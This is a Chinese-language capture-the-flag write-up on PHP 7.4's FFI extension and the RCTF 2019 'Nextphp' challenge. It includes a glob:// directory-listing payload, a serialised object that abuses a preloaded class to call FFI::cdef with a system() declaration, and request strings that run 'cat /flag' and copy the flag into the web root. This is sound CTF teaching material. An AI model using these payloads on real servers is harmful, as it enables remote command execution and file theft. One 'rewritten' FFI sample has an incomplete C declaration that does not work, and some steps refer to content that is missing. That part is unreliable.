FFI(Foreign Function Interface)
FFI扩展已经通过RFC,正式成为php7.4的核心拓展;FFI,即外部函数接口,是指在一种语言中引用另外一种语言的技术;这里的FFI就是在php代码中调用C代码的技术;可以让我们很轻易的调用C写的各种库
通过FFI::cdef能创建一个新的FFI对象 并直接调用C语言的函数
php样例如下:
<?php
// create FFI object, loading libc and exporting function printf()
$ffi = FFI::cdef(
"int printf(const char *format, ...);", // this is a regular C declaration
"libc.so.6");
// call C's printf()
$ffi->printf("Hello %s!\n", "world");
?>
可以发现FFI能够直接调用底层c的函数执行命令
搜索一下printf对应的声明:
来搜索一下system对应的声明:
将官方样例改写
<?php
$ffi=FFI::cdef("const char* command");
$ffi->system('ls');
?>
即可执行system
0x02.[RCTF 2019]Nextphp
<?php
if (isset($_GET['a'])) {
eval($_GET['a']);
} else {
show_source(__FILE__);
}
看一看phpinfo
把要ban的都ban的差不多了 obenbase_dir也做了限制
开启了FFI拓展
用glob协议读一下目录
?a=if($b=opendir("glob:///*")){while(($file=readdir($b))!==False){echo $file."</br>";}closedir($b);}
flag在根目录下
看一看html目录
还有一个Preload.php
注意到phpinfo中
opcache.preload
是php7.4中的预加载
opcache.preload
是 PHP7.4 中新加入的功能。如果设置了 opcache.preload
,那么在所有Web应用程序运行之前,服务会先将设定的 preload 文件加载进内存中,使这些 preload 文件中的内容对之后的请求均可用。
用show_source
读一读源码
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
Poc:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'FFI::cdef',
'arg' => 'int system(const char* command);'
];
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
}
$a = new A;
echo serialize($a);
得到C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}
传递
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}');var_dump($a->ret->system("cat /flag"));
没有回显
那么直接
?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}');var_dump($a->ret->system("cp /flag /var/www/html/flag.txt"));
访问flag.txt即可拿到flag